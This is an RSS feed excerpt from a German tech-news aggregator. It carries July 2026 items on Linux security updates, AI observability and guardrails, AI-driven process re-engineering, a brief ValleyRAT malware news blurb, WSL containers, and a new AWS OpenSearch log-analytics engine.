<description><![CDATA[Security updates have been issued by AlmaLinux (giflib, kernel, mariadb:10.11, mod_http2, php, rrdtool, ruby, ruby:3.3, and ruby:4.0), Debian (jq and node-lodash), Fedora (caddy, hut, ipp-usb, kernel, opkssh, rclone, thunderbird, and transmission), SUSE (389-ds, 7zip, alsa, amazon-ecs-init, avahi...]]></description>
<link>https://tsecurity.de/de/3641315/linux-tipps/security-updates-for-thursday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641315/linux-tipps/security-updates-for-thursday/</guid>
<pubDate>Thu, 02 Jul 2026 15:24:56 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (giflib, kernel, mariadb:10.11, mod_http2, php, rrdtool, ruby, ruby:3.3, and ruby:4.0), <b>Debian</b> (jq and node-lodash), <b>Fedora</b> (caddy, hut, ipp-usb, kernel, opkssh, rclone, thunderbird, and transmission), <b>SUSE</b> (389-ds, 7zip, alsa, amazon-ecs-init, avahi, cadvisor, cosign, cups, dnsdist, docker, dracut, firefox, firewalld, giflib, glib-networking, glycin-loaders, google-cloud-sap-agent, google-guest-agent, gsasl, hauler, helm, ImageMagick, kernel, keylime, krb5, libaom, libexif, libgcrypt, libnfs, libssh2_org, loupe, lrzip, mutt, ncurses, nodejs22, openCryptoki, openssh, openssl-3, pacemaker, perl-Config-IniFiles, perl-CSS-Minifier-XS, perl-DBI, perl-JavaScript-Minifier-XS, perl-libwww-perl, postfix, python-click, python-idna, python-Markdown, python-joblib, python-handy-archives, python-apache-libcloud, python-WebOb, python-PyGithub, python-soupsieve, python-pip, python-pytest-html, python-python-dotenv, python-python-multipart, python-starlette, python-tornado6, python-zeroconf, python311, python311-jupyter-server, rpcbind, sed, sg3_utils, tar, tiff, and util-linux), and <b>Ubuntu</b> (kernel, linux, linux-aws, linux-aws-5.15, linux-aws-fips, linux-azure, linux-azure-5.15, linux-azure-fde-5.15, linux-fips, linux-gcp, linux-gcp-fips, linux-gke, linux-gkeop, linux-hwe-5.15, linux-ibm, linux-ibm-5.15, linux-intel-iot-realtime, linux-intel-iotg, linux-kvm, linux-lowlatency, linux-lowlatency-hwe-5.15, linux-nvidia, linux-nvidia-tegra, linux-nvidia-tegra-5.15, linux-nvidia-tegra-igx, linux-oracle, linux-realtime, linux, linux-aws, linux-aws-fips, linux-gcp, linux-gcp-fips, linux-ibm, linux-nvidia, linux-nvidia-6.8, linux-oracle, linux-realtime, linux-realtime-6.8, linux-oem-6.17, and linux-oem-7.0).]]></content:encoded>
</item>
<item>
<title><![CDATA[What do AI observability tools actually do?]]></title>
<description><![CDATA[As organizations rush to move AI into production, they’re finding that the tools they rely on to monitor traditional software don’t translate cleanly to AI systems. The reason is fundamental: AI doesn’t fail as software does. It doesn’t throw clean error codes or follow predictable execution path...]]></description>
<link>https://tsecurity.de/de/3640600/ai-nachrichten/what-do-ai-observability-tools-actually-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640600/ai-nachrichten/what-do-ai-observability-tools-actually-do/</guid>
<pubDate>Thu, 02 Jul 2026 11:04:36 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>As organizations rush to move AI into production, they’re finding that the tools they rely on to monitor traditional software don’t translate cleanly to AI systems. The reason is fundamental: AI doesn’t fail as software does. It doesn’t throw clean error codes or follow predictable execution paths. It drifts, hallucinates, and degrades in ways that are often subtle, intermittent, and hard to reproduce.</p>



<p>The result is a growing gap between what teams think observability should provide and what current tools actually deliver. The uncomfortable truth? The AI observability tools we have today are built for yesterday’s problems.</p>



<p>To understand where the industry is headed, we need to look at where it is today and why that’s not enough.</p>



<h2 class="wp-block-heading">AI observability today: The era of evals</h2>



<p>Today’s AI observability landscape is dominated by one concept: evaluation.</p>



<p>Most tools focus on scoring model outputs after the fact. They rely on test datasets, human graders, or, increasingly, “LLM-as-a-judge” approaches to determine whether a system is behaving correctly. These evaluation pipelines are useful and can provide a baseline for model quality, helping teams benchmark improvements.</p>



<p>But they do share a critical limitation. They’re static, offline, and backward-looking.</p>



<p>Evaluations tell you how a model performed on a predefined set of inputs. But they don’t tell you what’s happening in production, where inputs are unpredictable and context can shift. You need to capture long-running interactions, multi-step workflows, and the behavior of systems composed of multiple models and tools as a part of your evals.</p>



<p>Even when teams use human-in-the-loop feedback, it can be tough to scale. High-quality feedback requires domain expertise, consistency, and time, each of which is in short supply in most engineering organizations. You also need deep knowledge of the models themselves and how they’re working in production to help identify and provide feedback around the source of the error. Was it a lack of context? A bad <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html" data-type="link" data-id="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">retrieval-augmented generation</a> (RAG) implementation? The model itself? Or bad feedback poisoning the results?</p>



<p>Some progress is being made. OpenTelemetry (OTel) and LLM tracing are emerging as early attempts to bring runtime visibility into AI systems. But these are still just first steps, and the core issue remains: you can’t understand AI systems by evaluating them after the fact. You need to observe them as they operate.</p>



<h2 class="wp-block-heading">The security turn: guardrails, PII, and prompt injection</h2>



<p>As AI systems move into production, observability becomes more about managing risk. The attack surface has expanded dramatically, with teams now dealing with:</p>



<ul class="wp-block-list">
<li>Prompt injection attacks</li>



<li>Jailbreak attempts</li>



<li>Leakage of sensitive data, including personally identifiable information (PII)</li>



<li>Unintended model behavior triggered by edge-case inputs</li>
</ul>



<p>In response, a new category of “guardrail” tools has emerged. These systems aim to monitor inputs and outputs in real time, flagging or blocking unsafe behavior. In theory, they provide a safety layer that sits between users and models. </p>



<p>In practice, however, the picture is more complicated.</p>



<p>Most guardrails today are reactive. They rely on predefined rules or classifiers that attempt to catch known patterns. But AI systems are inherently open-ended, and adversarial inputs evolve quickly. What works today may fail tomorrow.</p>



<p>There’s also a deeper issue: guardrails operate on the assumption that you already have sufficient visibility into the system. In reality, many teams lack the underlying telemetry needed to understand how and why a failure occurred in the first place.</p>



<p>This creates a gap between what guardrails promise (real-time protection) and what they can reliably deliver. Closing that gap requires something more foundational than filtering inputs and outputs. It requires rethinking observability itself.</p>



<h2 class="wp-block-heading">The coming shift: from models to agents</h2>



<p>The next wave of AI is clearly about autonomous agents. Instead of single inference calls, we’re seeing systems that orchestrate multiple models, interact with external tools and APIs, and execute multi-step workflows over extended periods of time.</p>



<p>These systems don’t just generate outputs; they make decisions. And that changes the observability problem entirely.</p>



<p>Just as <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">containers</a> required orchestration platforms like <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a> to become manageable at scale, AI agents will require their own observability and control layer. That layer must go beyond tracking inputs and outputs. It needs to capture:</p>



<ul class="wp-block-list">
<li>Decision paths</li>



<li>Tool usage</li>



<li>Resource consumption</li>



<li>Interactions across agents</li>



<li>Behavior over time, not just at a single point</li>
</ul>



<p>In many ways, this is similar to what we saw with the evolution of cloud-native observability. We moved from simple metrics to a combination of logs, metrics, and traces to understand distributed systems.</p>



<p>Now we need the equivalent for agentic systems.</p>



<p>As AI becomes embedded across the software development life cycle, from code generation to testing to operations, observability is evolving into a system of truth that feeds both humans and machines. AI agents can only build, debug, and improve systems if they have access to rich, high-fidelity production context. Observability is what provides that context.</p>



<h2 class="wp-block-heading">Why kernel-space observability will be essential</h2>



<p>There’s a fundamental trust problem at the heart of AI observability. If an AI agent is responsible for reporting its own behavior, how do you know that behavior is being reported accurately?</p>



<p>Traditional observability relies heavily on instrumentation within the application layer. But instrumentation can be incomplete, misconfigured, inadvertently bypassed, or simply incorrect.</p>



<p>This problem becomes more acute as AI systems begin generating their own code. Agents don’t think like human engineers when it comes to instrumentation, nor should they be expected to. But the result is a growing need for independent, out-of-band observability.</p>



<p>This is where kernel-level approaches, such as <a href="https://ebpf.io/" data-type="link" data-id="https://ebpf.io/">eBPF</a>, become critical. By operating at the kernel level, eBPF enables teams to:</p>



<ul class="wp-block-list">
<li>Capture system behavior without modifying application code</li>



<li>Eliminate blind spots caused by missing instrumentation</li>



<li>Ensure consistent visibility across all workloads, both human-driven and AI-generated</li>
</ul>



<p>More importantly, eBPF provides a trusted source of truth. In high-stakes environments where compliance, security, and reliability are non-negotiable, this independence is essential. You need telemetry that’s not influenced by the systems it observes.</p>



<h2 class="wp-block-heading">Three needs for AI observability </h2>



<p>If current tools fall short, what comes next? The answer is a shift in how we think about observability.</p>



<p>First, we need behavioral anomaly detection for AI systems. Traditional observability focuses on latency, errors, and resource utilization. But AI systems require a different lens to detect when behavior deviates from expectations, even when no explicit “error” occurs.</p>



<p>Second, we need tamper-proof audit trails. As AI systems take on more responsibility, you have to be able to reconstruct decisions. Teams need to understand what happened and, more importantly, why. And they need to trust that the data hasn’t been altered.</p>



<p>Third, observability must become dynamic and adaptive. Static dashboards and predefined metrics won’t cut it. AI systems operate in constantly changing environments, and observability must be able to:</p>



<ul class="wp-block-list">
<li>Adjust data collection in real time</li>



<li>Increase granularity during incidents</li>



<li>Focus on what matters in the moment</li>
</ul>



<p>Finally, observability must integrate directly into AI workflows. It’s no longer enough to surface insights to human operators. The same telemetry must be consumable by AI agents feeding back into development, debugging, and optimization loops.</p>



<h2 class="wp-block-heading">Observability as a part of infrastructure, not an afterthought</h2>



<p>We are still early in the evolution of AI observability. Most of today’s tools are extensions of existing paradigms adapted for AI, but not fundamentally redesigned for it. Predictably, they solve parts of the problem, but not the whole.</p>



<p>The next generation of these systems will look very different. They’ll treat observability as a core layer that enables AI systems to operate safely, efficiently, and autonomously. The teams that succeed will be those that recognize this shift early.</p>



<p>Ultimately, in a world of non-deterministic systems, long-running workflows, and autonomous agents, one thing becomes clear: AI reliability strongly correlates with your observability layer.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI savings are an illusion without process re-engineering]]></title>
<description><![CDATA[The PC was heralded as revolutionary; it was going to save time, revolutionize our work… But it became an opportunity lost. Paper became digital files. Filing cabinets became shared drives. Memos became email. We sometimes worked faster. We did not necessarily work differently. And we certainly d...]]></description>
<link>https://tsecurity.de/de/3640590/it-nachrichten/why-ai-savings-are-an-illusion-without-process-re-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640590/it-nachrichten/why-ai-savings-are-an-illusion-without-process-re-engineering/</guid>
<pubDate>Thu, 02 Jul 2026 11:03:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The PC was heralded as revolutionary; it was going to save time, revolutionize our work… But it became an opportunity lost. Paper became digital files. Filing cabinets became shared drives. Memos became email. We sometimes worked faster. We did not necessarily work differently. And we certainly did not work more efficiently. The underlying logic: approval chains, reporting cycles, hierarchies and incentives remained intact.</p>



<p>The internet and smartphones followed the same pattern, compressing time and distance. But neither forced enterprise changes. The tools changed. The organizational model did not. This stagnation is referred to as the Solow Productivity Paradox, a historic mismatch between massive technology investments and flat corporate productivity. And while the Internet boom did see a raise in productivity, it was due to investment in hardware, not so much due to a change in how we worked, as explained by <a href="https://www.cio.com/article/266741/it-organization-the-new-economy-what-productivity-miracle.html">Robert Gordon in The New Economy: What Productivity Miracle?</a></p>



<p>And now there’s Artificial Intelligence, AI. AI presents a different kind of challenge because it intervenes in cognition itself. It reaches much closer to the operating logic of the enterprise than previous technology waves.</p>



<p>Yet, once again, the response is surface adaptation rather than structural reinvention. AI is layered onto inherited workflows, old approval thresholds, unclear accountability structures and sprawling software, then expecting cost savings to follow. And again, it is the investments in AI that garner any growth, not changes in corporate infrastructure.</p>



<p>This is not transformation. It is acceleration without reform. And this “slap on AI” will have as much long-term impact as the PC.</p>



<h2 class="wp-block-heading">Automation = efficiency? Wrong</h2>



<p><a href="https://www.cio.com/article/4151188/ways-cios-can-prove-to-boards-that-ai-projects-will-deliver.html.">Chief information officers</a> are under intense pressure to turn AI into measurable financial outcomes. In boardrooms, expectations are explicit: deploy AI, automate, reduce operating cost and show results within a budget cycle.</p>



<p>A central misunderstanding in AI programs is the assumption that if a process is costly and labour-intensive, automation creates efficiency. Unfortunately, what appears as inefficiencies are normalized fragmentations. With AI, hidden workflow contradictions become both significant and visible. Organizations discover it wasn’t running a slow but clean process. It was running an incoherent process that relied on human buffering to keep it functioning. This is precisely why so many AI efforts disappoint immediately after a dazzling pilot, degenerate into <a href="https://www.cio.com/article/4158000/ai-strategy-theater-why-cios-are-performing-innovation-instead-of-leading-it.html.">AI strategy theatre</a> and fail to scale.</p>



<p>When one part of the workflow becomes lightning-fast, but the surrounding process remains fractured, escalations multiply and the IT department, despite having done its job perfectly, is asked to fix the operational fallout with more tooling, more integration, more controls and more spend. The problem is rarely technical. But it becomes so very quickly.</p>



<p>I increasingly think the more useful concept here is <em>process debt</em>. CIOs are already comfortable talking about <a href="https://www.cio.com/www.cio.com/article/3958666/what-is-technical-debt-a-business-risk-it-must-manage.html">technical debt</a> and its complexities. <em>Process</em> <em>debt</em> is the upstream generator of that complexity. It accumulates when temporary fixes become permanent, when controls are added without removing older ones and when incidents leave behind workflows nobody dares to challenge. Over time, the process stops reflecting deliberate design and starts reflecting institutional memory, risk aversion and unresolved negotiations between functions.</p>



<h2 class="wp-block-heading">Case study 1: The regulated approval-heavy process</h2>



<p>I was brought into a regulated organization that wanted to identify opportunities for automation. The assumption was that technology was the main constraint. Workflows involved multiple reviews, approvals and handovers between departments. From a distance, it looked like an obvious candidate for automation.</p>



<p>It was a familiar situation: delays, duplicated effort and frustration with how long routine work was taking to complete. The process seemed overstaffed and underdesigned. The natural conclusion was that automation could remove unnecessary tasks and improve speed.</p>



<p>But as I began interviewing the stakeholders, a different picture emerged. Every group could explain its role in the workflow. But the more I listened, the clearer it became that nobody could describe the process as a coherent whole.</p>



<p>What appeared to be an inefficient process was a process that had accumulated layers of governance without ever being reassembled into a consistent operating model. One approval had been added after an audit finding. Another had been introduced during a restructuring. A third existed because of a past incident. None of those approvals looked unreasonable in isolation. Together, they produced a workflow that nobody owned and with approval layers nobody could justify.</p>



<p>From the CIO’s perspective, this translated into technology sprawl. Unaligned and multiple IT systems were being used to support adjacent parts of the workflow. Software had been purchased to manage steps that shouldn’t have existed in the first place. This meant the entire nature of the automation discussion shifted. The strategic question was no longer which step should be automated first. It was whether those steps deserved to exist at all.</p>



<p>Only after the CIO and I brought the business units together to confront these structural dependencies did the process align and technology become part of the answer. Without that preliminary work, automation would simply have moved a poorly understood process faster while expanding the expensive software estate needed to govern it.</p>



<p>That engagement reinforced my conviction that many workflows presented as automation candidates are not ready for automation because they are not sufficiently coherent to automate.</p>



<h2 class="wp-block-heading">Uncomfortable questions</h2>



<p>Because these questions are operationally and politically sensitive, businesses will try to avoid them and hand the unmapped mess directly to IT. As a strategic partner, the CIO must guide the C-suite through these uncomfortable but necessary inquiries before deploying AI into enterprise workflows:</p>



<ul class="wp-block-list">
<li>Does this process need to exist at all?</li>



<li>Where are decisions actually made in day-to-day practice? Not according to policy documentation, but according to the informal networks of people who actually know how to navigate the exceptions.</li>



<li>Which parts of the workflow exist because of corporate history rather than necessity?</li>



<li>Where do decision rights shift between teams without anyone acknowledging it?</li>
</ul>



<p>AI systems do not handle ambiguities gracefully. Answering these questions upfront determines whether implementing AI will mean genuine savings or simply move organizational incoherence through the enterprise at lightning speed.</p>



<h2 class="wp-block-heading">Three-layer governance</h2>



<p>Governance is the ultimate reason why AI cannot be treated as a traditional technology delivery program with a bit of business input tacked on at the end. Because AI fundamentally alters how enterprise decisions are informed and executed, its deployment must be shaped by an integrated operating and governance framework.</p>



<p>CIOs can evaluate an organization’s true AI readiness based on three interdependent governance layers. By mastering these, the technology stack is protected from being forced to compensate for bad business design.</p>



<ol class="wp-block-list">
<li><strong>Organizational governance. </strong><em>Core questions:</em> Is this workflow genuinely needed, who actually owns it and what risk or quality definitions are binding across separate business functions? This is a cross-departmental leadership question. It must be resolved by the business units first, or IT inevitably inherits the resulting operational complexity.</li>



<li><strong>Endpoint or tool governance. </strong><em>Core questions</em>: How are outputs interpreted when cognitive work is partially or fully delegated to machines? This layer defines exactly where a human-in-the-loop remains mandatory, how exceptions are escalated to specialists and how accountability is maintained when an AI agent makes an optimized operational prediction.</li>



<li><strong>Platform governance. </strong><em>Core questions:</em> What is the foundational security, privacy and technical guardrails? This includes LLM/model selection, vendor standards, data privacy compliance, integration rules and continuous monitoring. Paradoxically, this is the layer most organizations focus on first—yet, because it exists entirely to support the processes and tools above it, it should actually be the last to be set in stone.</li>
</ol>



<p>These layers interlinked. A weakness in one undermines the others. This is where CIOs become strategically important. They are the executives who see when process incoherence is converted into architectural complexity, application sprawl, higher license costs and long-term support burdens. AI decisions without that perspective and organizations will once again confuse digitization with transformation.</p>



<h2 class="wp-block-heading">Case Study 2: A downstream bottleneck and the structural solution</h2>



<p>In another engagement, the business pushed for an AI-driven intake solution. Frontline teams were spending massive amounts of time on repetitive customer data coordination and document verification. On paper, it was an outright victory: IT delivered an AI agent that dropped data extraction times by 85% with an exceptional accuracy rate. In every sense of the word – the pilot was a triumph. And it was phased to implementation.</p>



<p>Within six weeks, the illusion shattered. While the intake layer was now running at lightning speed, the downstream validation process still relied on traditional compliance handoffs, manual fraud checks and legacy database updates. The AI didn’t solve the operational problem; it simply shoved massive volumes of data into a rigid pipeline that was never designed for that velocity.</p>



<p>Escalation queues exploded. The operations team, buried under an unprecedented backlog, began making manual bypass decisions just to keep up, creating immense operational risk.</p>



<p>Rather than allowing IT to be blamed for the downstream chaos, the CIO and I suggested a structural solution. First, we halted further automated intake scaling and used visual process-mapping data to show the rest of the C-suite exactly where the digital pipeline was hitting an analogue wall.</p>



<p>Second, we championed a cross-functional “value stream” redesign. After much negotiation, we managed to leverage the AI’s data-validation outputs to eliminate three manual review steps downstream and replace them with exception-only automated alerts. Finally, we renegotiated the risk-threshold parameters with the legal and compliance teams, shifting accountability from a multi-stage sign-off to a centralized, systemic audit log.</p>



<p>The solution wasn’t adding more software; it was picking the process apart, data point by data point, to align the business rules with machine capabilities. The result was a substantially trimmer, automated end-to-end stream that freed up human resources, allowed redundant software licenses to be safely withdrawn and actually realized the promised financial savings.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Every CIO knows that AI matters. The real challenge facing enterprises whether the executive leadership team is willing to confront what AI inevitably reveals about the fragmented processes, legacy habits and siloed systems organizations have been carrying for decades.</p>



<p>This is why the broad promise of immediate AI savings is overstated. Automation can produce staggering enterprise value, but it cannot create structural coherence on its own. If a workflow is fractured, historically layered and dependent on invisible human intervention, adding AI will not turn it into an efficient system. It will simply scale, cement and automate the weaknesses that were already there.</p>



<p>The CIO’s ultimate responsibility is to ensure that technically incoherent processes do not get permanent residency in the business architecture. This is why the CIO must have a leading seat at the strategic table. Incoherent processes invariably turn into application sprawl, redundant tooling, excess licensing costs, integration debt and massive security exposure.</p>



<p>To avoid this trap, enterprise AI deployment requires cross-departmental leadership willing to examine which work should be automated, which must be completely redesigned and which should be eliminated. </p>



<p>If not, we will simply repeat the costly errors of past technology shifts: preserve the outdated operating logic, throw a shiny new layer of tooling on top and call the expensive result “transformation.” This time, the bill will be significantly larger. Not because AI is mysterious, but because it is brutally efficient at exposing the waste that organizations used to hide inside their people, their processes and their software.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ValleyRAT Campaign Uses Fake Installers and Japanese Malicious Emails to Infect Windows Users]]></title>
<description><![CDATA[ValleyRAT, a potent Remote Access Trojan (RAT) first identified in 2023, is experiencing a massive resurgence across the threat landscape. Threat intelligence from LevelBlue GSOC reveals that detection volumes skyrocketed throughout 2025 and doubled in pace by early 2026. Historically linked to t...]]></description>
<link>https://tsecurity.de/de/3640519/it-security-nachrichten/valleyrat-campaign-uses-fake-installers-and-japanese-malicious-emails-to-infect-windows-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640519/it-security-nachrichten/valleyrat-campaign-uses-fake-installers-and-japanese-malicious-emails-to-infect-windows-users/</guid>
<pubDate>Thu, 02 Jul 2026 10:24:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ValleyRAT, a potent Remote Access Trojan (RAT) first identified in 2023, is experiencing a massive resurgence across the threat landscape. Threat intelligence from LevelBlue GSOC reveals that detection volumes skyrocketed throughout 2025 and doubled in pace by early 2026. Historically linked to the SilverFox threat group, this malware allows attackers to take full remote control […]</p>
<p>The post <a href="https://cyberpress.org/valleyrat-infects-windows-users/">ValleyRAT Campaign Uses Fake Installers and Japanese Malicious Emails to Infect Windows Users</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I built a Linux container on Windows 11 without Docker Desktop, and Docker users should pay attention]]></title>
<description><![CDATA[WSL Containers is now in public preview, letting Windows 11 build and run Linux containers without Docker Desktop. We installed the pre-release build, created a container from a Containerfile, tested GPU passthrough, and checked how ready it is for real workflows and enterprise use.
The post I bu...]]></description>
<link>https://tsecurity.de/de/3639940/windows-tipps/i-built-a-linux-container-on-windows-11-without-docker-desktop-and-docker-users-should-pay-attention/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639940/windows-tipps/i-built-a-linux-container-on-windows-11-without-docker-desktop-and-docker-users-should-pay-attention/</guid>
<pubDate>Thu, 02 Jul 2026 02:10:46 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>WSL Containers is now in public preview, letting Windows 11 build and run Linux containers without Docker Desktop. We installed the pre-release build, created a container from a Containerfile, tested GPU passthrough, and checked how ready it is for real workflows and enterprise use.</p>
<p>The post <a rel="nofollow" href="https://www.windowslatest.com/2026/07/02/hands-on-with-linux-container-using-wsl-container-on-windows-11-without-docker-desktop/">I built a Linux container on Windows 11 without Docker Desktop, and Docker users should pay attention</a> appeared first on <a rel="nofollow" href="https://www.windowslatest.com/">Windows Latest</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in docker (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3639753/unix-server/security-mehrere-probleme-in-docker-suse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639753/unix-server/security-mehrere-probleme-in-docker-suse/</guid>
<pubDate>Wed, 01 Jul 2026 23:46:06 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS aims to lower log analytics costs with new analytics engine for managed OpenSearch]]></title>
<description><![CDATA[AWS is offering to help enterprises address the growing cost of retaining telemetry for talkative AI applications with a new engine for its managed Amazon OpenSearch Service optimized for log analytics, which it claims can reduce storage costs by 70% and at the same time deliver better price-perf...]]></description>
<link>https://tsecurity.de/de/3639666/it-nachrichten/aws-aims-to-lower-log-analytics-costs-with-new-analytics-engine-for-managed-opensearch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639666/it-nachrichten/aws-aims-to-lower-log-analytics-costs-with-new-analytics-engine-for-managed-opensearch/</guid>
<pubDate>Wed, 01 Jul 2026 22:47:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>AWS is offering to help enterprises address the growing cost of retaining telemetry for talkative AI applications with a new engine for its managed Amazon OpenSearch Service optimized for log analytics, which it claims can reduce storage costs by 70% and at the same time deliver better price-performance.</p>



<p>AI and agentic applications are generating more telemetry than conventional <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html" target="_blank">observability</a> architectures were built to manage economically, forcing enterprises to balance retaining the operational data needed for security, compliance and incident response against rising related infrastructure costs.</p>



<p>The new engine will allow customers to continue using the same management console, APIs, security model and networking configuration as the service’s existing general-purpose engine, while storing data in <a href="https://www.infoworld.com/article/2239007/apache-parquet-paves-the-way-towards-better-hadoop-data-storage.html" target="_blank">Apache Parquet</a> format and maintaining <a href="https://www.infoworld.com/article/2162280/the-lucene-search-engine-powerful-flexible-and-free.html" target="_blank">Lucene</a> search indexes for searchable fields, AWS said.</p>



<p>It uses Apache Calcite to parse and optimize queries before routing analytical operations to <a href="https://www.infoworld.com/article/2336762/exploring-the-apache-ecosystem-for-data-analysis.html" target="_blank">Apache DataFusion</a> and search predicates to Lucene, allowing search and analytical aggregation to run within the same query, AWS executives wrote in a blog post.</p>



<p>The optimized engine supports SQL and Piped Processing Language (PPL), they said.</p>



<h2 class="wp-block-heading">Keeping costs down without losing detail</h2>



<p>In a recent survey of enterprises’ log management practices, Dynatrace found that AI workloads drove a 93% increase in log volume over the previous year, organizations to exclude an average of 86% of log data to manage costs and system capacity.</p>



<p>“Managing growing log volumes while keeping the cost almost flat is a persistent challenge that enterprises share,” said <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="nofollow">Ashish Chaturvedi</a>, executive research leader at HFS Research.</p>



<p>“Most end up dropping retention windows or sampling logs, which is exactly when you lose the data you need for unanticipated incidents,” he said.</p>



<p><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="nofollow">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, said AI agents have broken the math behind general purpose OpenSearch: “Constant background queries from agents touching logs didn’t fit the cost and performance assumptions baked into the original engine. The bill got too big. Enterprises started going blind on purpose.”</p>



<p>But the new AWS engine could help, said HyperFrame Research AI stack analyst <a href="https://www.linkedin.com/in/slwalter/" target="_blank" rel="nofollow">Stephanie Walter</a>, even if users realize only some of the gains that AWS promises.</p>



<p>“Lower storage costs can translate into longer retention periods, better compliance support, and more complete incident investigations,” Walter said.</p>



<p>Cheaper retention could also help CIOs curb tool sprawl as it reduces the incentive to fragment observability tooling across vendors purely for cost arbitrage, according to Bellamkonda. “Tool sprawl carries its own tax: integration overhead, headcount to maintain five dashboards instead of one,” he said.</p>



<h2 class="wp-block-heading">Migration and compatibility could temper adoption</h2>



<p>However, the analysts cautioned that realizing those benefits may require more work than AWS’s emphasis on compatibility initially suggests.</p>



<p>“AWS states that the optimized engine can’t be added to an existing domain and can’t be enabled on individual indices within a general-purpose domain. Adoption means standing up a new domain and migrating ingestion pipelines to it, making the transition more involved for engineering teams than a simple lift-and-shift,” Bellamkonda said.</p>



<p>Another point against the new engine, according to Chaturvedi, is its lack of support for Domain Specific Language (DSL).</p>



<p>This means that enterprises with existing OpenSearch deployments built around DSL queries or workloads that need frequent updates may need to rewrite dashboards, alerts and automation workflows before moving to the optimized engine, potentially extending migration timelines, Chaturvedi said.</p>



<p>Those implementation considerations are likely to influence the pace of adoption of the new engine more than the technology behind it, Bellamkonda said: “Migration friction, not cost, usually keeps enterprises on infrastructure they’ve outgrown.”</p>



<p>“AWS lowered the friction inside the migration by supporting ingestion through the same Bulk API and client libraries, which means no changes to ingestion pipelines or application code. However, it didn’t remove the migration entirely,” he said. The new optimized engine for Amazon OpenSearch Service has been made generally available.</p>



<p><em>This article originally appeared on <a href="https://www.infoworld.com/article/4191707/aws-aims-to-lower-log-analytics-costs-with-new-analytics-engine-for-managed-opensearch.html" target="_blank">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS aims to lower log analytics costs with new analytics engine for managed OpenSearch]]></title>
<description><![CDATA[AWS is offering to help enterprises address the growing cost of retaining telemetry for talkative AI applications with a new engine for its managed Amazon OpenSearch Service optimized for log analytics, which it claims can reduce storage costs by 70% and at the same time deliver better price-perf...]]></description>
<link>https://tsecurity.de/de/3639620/ai-nachrichten/aws-aims-to-lower-log-analytics-costs-with-new-analytics-engine-for-managed-opensearch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639620/ai-nachrichten/aws-aims-to-lower-log-analytics-costs-with-new-analytics-engine-for-managed-opensearch/</guid>
<pubDate>Wed, 01 Jul 2026 22:18:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
